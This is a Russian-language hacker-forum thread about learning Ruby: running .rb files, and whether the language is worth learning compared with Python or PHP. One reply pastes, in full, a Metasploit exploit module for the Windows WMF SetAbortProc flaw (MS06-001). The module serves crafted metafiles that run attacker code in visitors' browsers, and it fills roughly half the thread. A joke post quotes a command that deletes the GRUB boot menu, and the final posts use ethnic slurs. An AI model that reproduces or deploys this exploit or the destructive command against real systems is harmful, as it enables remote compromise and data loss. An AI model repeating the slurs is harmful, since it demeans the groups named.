Просмотр полной версии : язык программирования Ruby
max_rebel
27.12.2007, 00:45
Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(
Вот что я нашел на Викепедии...
Чтобы запустить программу на Ruby, необходимо вызвать интерпретатор и передать ему имя файла с программой в качестве параметра.
Чтобы запустить программу с именем TecToBa9_nporpamma.rb (программы на Руби обычно имеют расширение .rb), в Unix-e нужно вызвать консоль и набрать:
% ruby TecToBa9_nporpamma.rb
Чтобы запустить программу из Windows нужно дважды кликнуть на файл с программой. Чтобы окно не исчезало и были видны результаты надо перед местами выхода из программы поставить команду ожидания ввода
STDIN.getc
Именам программ в Windows принято давать расширение .rbw, что позволяет использовать Windows-версию интерпретатора rubyw, который надоедающее окошко просто не вызывает. Интерпретатор ruby предназначен для работы в консоли. Для интерпретатора rubyw вставлять код STDIN.getc перед местами выхода бесполезно
Зайди _http://ru.wikibooks.org/wiki/Ruby#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D1.80.D 0.B0.D0.B1.D0.BE.D1.82.D1.8B и посмотри сам, очень много интересного.
max_rebel
27.12.2007, 12:13
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.
max_rebel
27.12.2007, 12:15
emik
Чтото я невнимательно викиучебник видимо прочитал=)
Зачем тебе этот язык? Он сейчас не востребован, я про него первый раз слышу...
Бери лучше учебники по си или Дельфи и учи их
-=lebed=-
27.12.2007, 16:01
Эксплоиты для Metasploit Framework 3.0 пишутся на Ruby, как exe запустить нельзя, так как нужен сам интерпретатор, а компилятора имхо нет...
Shawn1x , ты решил что он невостребован только потому что ты первый раз о нём слышишь?
Да, ибо я не видел ни одной программы на данном языке
Shawn1x
мда...видишь кролика? а он есть!
-=lebed=-
27.12.2007, 17:54
Да, ибо я не видел ни одной программы на данном языке
Ну вот тогда глянь к примеру:
require 'msf/core'
module Msf
class Exploits::Windows::Browser::MS06_001_WMF_SETABORTP ROC < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
'Description' => %q{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'san <san@xfocus.org>',
'O600KO78RUS@unknown.ru',
],
'Version' => '$Revision: 3906 $',
'References' =>
[
['MSB', 'MS06-001'],
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/2003/Vista Automatic', { }],
],
'DisclosureDate' => 'Dec 27 2005',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
ext = 'wmf'
if (not request.uri.match(/\.wmf$/i))
html =
"<html><meta http-equiv='refresh' content='0; URL=" +
get_resource + '/' +
Rex::Text.rand_text_alphanumeric(rand(80)+16) +
".#{ext}'><body>One second please...</body></html>"
send_response(cli, html)
return
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
handler(cli)
end
def generate_metafile(payload)
# Minimal length values before and after the Escape record
pre_mlen = 1440 + rand(8192)
suf_mlen = 128 + rand(8192)
# Track the number of generated records
fill = 0
# The prefix and suffix buffers
pre_buff = ''
suf_buff = ''
# Generate the prefix
while (pre_buff.length < pre_mlen)
pre_buff << generate_record()
fill += 1
end
# Generate the suffix
while (suf_buff.length < suf_mlen)
suf_buff << generate_record()
fill += 1
end
clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
data =
#
# WindowsMetaHeader
#
[
# WORD FileType; /* Type of metafile (1=memory, 2=disk) */
rand(2)+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
# DWORD FileSize; /* Total size of the metafile in WORDs */
clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
rand(0xffff),
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
rand(0xffffffff),
# WORD NumOfParams; /* Not Used (always 0) */
rand(0xffff),
].pack('vvvVvVv') +
#
# Filler data
#
pre_buff +
#
# StandardMetaRecord - Escape()
#
[
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
(rand(256).to_i << 8) + 0x26,
# WORD Parameters[]; /* Parameter values passed to function */
9,
].pack('Vvv') + payload.encoded +
#
# Filler data
#
suf_buff +
#
# Complete the stream
#
[3, 0].pack('Vv') +
#
# Some extra fun padding
#
Rex::Text.rand_text(rand(16384)+1024)
return data
end
def generate_record
type = rand(3)
case type
when 0
# CreatePenIndirect
return [8, 0x02fa].pack('Vv') + Rex::Text.rand_text(10)
when 1
# CreateBrushIndirect
return [7, 0x02fc].pack('Vv') + Rex::Text.rand_text(8)
else
# Rectangle
return [7, 0x041b].pack('Vv') + Rex::Text.rand_text(8)
end
end
end
end
Да, ибо я не видел ни одной программы на данном языке
Этот язык, активно развивается и очень часто встречается в *nix подобных ОС.
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев
Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.
Я тоже 1 раз слышу о таком языке))) Надо поподробнее рассмотреть, может он окажеться очень полезным)
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
он и на линухе очень популярен )
http://Jes.xaker.ru/Ilove.gif Paranoid :)
geezer.code
27.12.2007, 20:27
Руби, сильная штука :) щас пишу на нем и да простят меня господа пхп-шники, Ruby On Rails - рулит...
Все доводы по поводу скорости интерпретатора, уже не актуальны, руби 2.0 уже компилируется в байт код как и Питон и Ява.
самый крупный известный мне проект на RoR - www.dandelife.com
в байт код кстати и перл тоже можно загнать ) это так к сведению )) хотя читала по версии 5.6 что функция ByteCode тестится.... хз как по 5.8 ...
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.
например в паскале чтоб консольная прога не закрывалась сразуже в конце проги пишут Readln тобиш просит прочитать символ и после нажатия ентер прга закрываеться. Если в рубу есть такая функция то добавь в конец программы и да будет тебе щастя :)
presidentua
28.12.2007, 02:35
emik
Чтото я невнимательно викиучебник видимо прочитал=)
Так ты попробовал перед местом выхода из програмы вставить команду ожыдания ввода STDIN.getc
я этим языком сам не пользуюсь но кажись она так пишется c = $stdin.getc
Наверное стоит самому попробовать этот язык, уж сильно про его отлики хорошие, а тебе советую если ты только начал - начни с Паскаля или РНР. Там все придельно просто и понятно.
он и на линухе очень популярен )
Ну я его вообще тоже в линухе ни разу не видел ) Хотя может действительно плохо смотрел, т.к. специально не искал
Вот.... Еще один чел, который ничего не слышал
Вот.... Еще один чел, который ничего не слышал
Да вы походу читать не умеете) Про язык-то я слышал, я использование в линуксе не видел.
грейт его в линухе не видел, а ты вообще первый раз о нём слышишь. не сравнивай *** с пальцем
max_rebel
28.12.2007, 15:17
ни хрена вы тут дискуссию развернули=)Один день всего не заглядывал=) Т.е. что же получается что нельзя пользоваться программой написаной на руби если интерепретатор(я пока очень пространственно представляю кстати что это=)) на компе не установлен? Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"
max_rebel
28.12.2007, 15:19
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев
Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.
это я всё сделал...вроде правильно=)
max_rebel
28.12.2007, 15:23
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat =) Интересных скриптов не встречал - потому что ничего в них не понимаю пока,мак тоже в глаза не видел(зато юзаю мандриву2008)=)
Бля, а "РАБИ" - это не от "РАБИнович" случайно? Или "руби" правильно? А там осенблерные вставки можно писать? А SDK для Vista? =\
Ха... Даже Kez не знает, а вы мне тут втираете
превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat ... (зато юзаю мандриву2008)=)
ты наверна мандриву совсем не кормишь , если она даже bat готова сьесть? :)
гыгы " rm /boot/grub/menu.lst 2>/dev/null " ;)
Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"
ога, те php, perl, python - тоже на*** не нужны +)
с .net та же фигня. Всё дело в распространенности и в поддержке крупными компаниями.
И с бинарниками для винды тоже. Оно же для одного компа, именно для того, на котором винда.
а почему топик находится в разделе компилируемых языков, а не скриптовых?
потому что я хакер
крышует тебя кто?
до, Динар и Изос известные авторитеты
Мы пишем плоет на руби, а на радио античат "Ах мой милый мусорок"
GrAmOzEkA
30.12.2007, 21:29
Кстать руби можно и к Апачу прикрутить. Вот статья http://wiki.vingrad.ru/Ruby:DenwerAndRubyOnRailsPartOne
http://forum.vingrad.ru/articles/topic-149102.html
на примере денвера. Сам проверил все работает.
Вот почитал я темку и подумал для начальных знаний поучю я ваш руби :)
Horsekiller
20.02.2008, 05:31
Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(
Попробуй давать расширение .rbw
Тогда запускается виндовый интерпритатор, одинственное отличие которого - консоль не закрывается после вывода.
LEE_ROY, скринкасты посмотри...
_http://rubyonrails.ru/
РоР реально удобная вещь, только документации очень мало (на русском вообще нет ничего, кроме одной книжицы, и то она устарела).
начал изучать руби, довольно мощьный язык...мне нравится.
хочу с ROR разобраться... что то пока не пойму как прикрутить к xampp'у
De-visible
06.07.2008, 01:07
нах он нужен этот руби?
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....
2lee-roy и De-Visible - полный бред ... рассмешили =)
geezer.code
06.07.2008, 01:48
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....
ерунду говорите!
присоединяюсь... руби отличный язык.. за ним большое будущее...
и к томуже говорить что получше это бред полный каждый язык хорош в своей сфере...
на рубы писат гуи приложения думаю не совсем удобно хотя возможно.
для начинающих конечно не совсем подходит...
нах он нужен этот руби? Нах он нужен этот пхп? ах он нужен этот C++?
Отличная штука, если бы не было питона, то юзал бы ее.
Просто на питоне можно сделат все(системные скрипты для *nix, сетевые скрипты, мощные веб-приложения, игры, гуй, программы для смартфонов на симбе), причем очень и учень удобно. Разве что низкоуровневые штуки не написать)
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики.... Гонишь. Чем тебе руби не нормальная?
Нах он нужен этот пхп? ах он нужен этот C++?
Отличная штука, если бы не было питона, то юзал бы ее.
Просто на питоне можно сделат все(системные скрипты для *nix, сетевые скрипты, мощные веб-приложения, игры, гуй, программы для смартфонов на симбе), причем очень и учень удобно. Разве что низкоуровневые штуки не написать)
Гонишь. Чем тебе руби не нормальная?
Ужас... с этими плодящимися новыми языками скоро вирусы пистаь будем типа
randomize;
with TWorm.Create(random(1000000)) do
Run;
я непонимаю чем вам неустраивает пхп?
ps: про gtk слыхали?
Delimiter
06.07.2008, 14:35
ЗАЧЕМ??
студенты как курсовую напишут всякую ересь трансляторо-компилирующую а другие должны ее изучать???
Хватит того что есть у нас платформонезависимая Джава...
De-visible
06.07.2008, 21:33
Может я и не прав, но на первый взгляд это задумка кажется х...ней...
Может я и не прав, но на первый взгляд это задумка кажется х...ней...
это типа создатели метасплойта фигней страдали? =)
Delimiter
06.07.2008, 21:47
по ходу жизни нормальный программер создаст море встроенных трансляторов... (если понадобится и компиляторов хотя для inbuild это неудобно) когда занимаешься и делаешь это для своих целей - это не ерунда .... это было нужно тебе, но когда выносишь на суд публики то БЕСПОЛЕЗНО ЗАЩИЩАТЬ ТО ЧТО ДОЛЖНО САМО ЗА СЕБЯ ГОВОРИТЬ!
Чтоб сделать exe шник, можно использовать RubyScript2Exe, можно скомпилить так сказать, мод Linux Win и Mac
http://www.erikveen.dds.nl
А так же, если для винды то - http://exerb.sourceforge.jp/index.en.html
ЗАЧЕМ?? Как аналог питону. Ниша есть соответствующая. Только не надо говорить, что оно все говно только потому, что оно не нужно именно тебе.
alextoun
31.07.2008, 10:12
я вот например уже давненько учу питон в паре с руби
они похожи, и удобнее,
у обоиъ кстате строгая и динамическая типизация
но в руби есть кое какие схожести и с явой и с tcl ))))
его кстате мне показалось учить проще
кстате на счёт востребованности
зайдите на python.su
сайт хохлов
Скажу вам в Украине питон программеры ой как ценятся. Да и вообще, если человек спец в своей области, без работы он не останится никогда :)
кстате с таким же успехом можно писать на питоне и веб, для себя предпочитаю Джанго, ибо zope это кааааллл :D
уже давненько учу питон в паре с руби
они похожи, и удобнее, Советую выбрать что-то одно.
Я за питон:
1) Самый быстрый ООП скриптовый язык. Руби же самый медленный из попылярных(даже медленнее, чем пхп)
2) Область примерения: системные скрипты, web - это стандартно. Однако у питона есть еще и такие: GUI(очень популярен в никсах), gamedev(второе место после lua), смартфоны на симбе.
3) Синтаксическая определенность. Only one right way to do anything.
Однако если бы питона не существовало, то из перла и руби выбрал бы определенно руби.
alextoun
зайдите на python.su
сайт хохлов
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д
А то не хорошо это!
slav0nic
31.07.2008, 22:43
руби
1 медленная
2 жрёт озу
3 неперспективная шняга, тк кроме РоР ничего интересного на ней нет, кстати приложения на РоР прекрасное доказательсва пунктов 1-2
с тредами, IPC. sockets там похоже тоже жопа. С GUI тоже не всё хорошо
Python community ждёт вас :P
за хохлов да, не надо)
alextoun
31.07.2008, 22:45
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д
А то не хорошо это!
хе....не дело ваше, хотя пол инета тут так говорит, думаю уже привыкнуть мона.......
alextoun
Ну так пол инета много как говорит, почему это к оскорблениям должны привыкать?
Ты думаешь кто из России приезжает и слышит когда говорят в Украине москали им приятно и они привыкли?
Или всех Евреев когда обзывают жидами, что они привыкли и им приятно? да те которые симитизмом страдают и считают что их народ лучше всех, не достойны уважения, но наверное не все же одинаковы правда?! Точно так же и в России и в Украине как идиотов полно, так и нормальных людей.
Это ничего сверхестественного, но стоит все же обходится без этого, тем более этот форум не сборище идиотов, которые лепят что угодно, а нормальные люди и тут не обсуждают какие-то расовые или религиозные принадлежности, так что лучше избегать таких слов.
Я думаю это ясно любому уважающему тут человеку, без каких-то объяснений.
Вообщем это получился большой оффтоп, я думаю все всем понятно и не будем больше к этому вопросу возращатся :)
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д Действительно! Черножопые - это неуважительно. Так что правильнее будет назвать их хачами.
И вообще нехрен тут рассуждать, а то за нацизм забаню.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot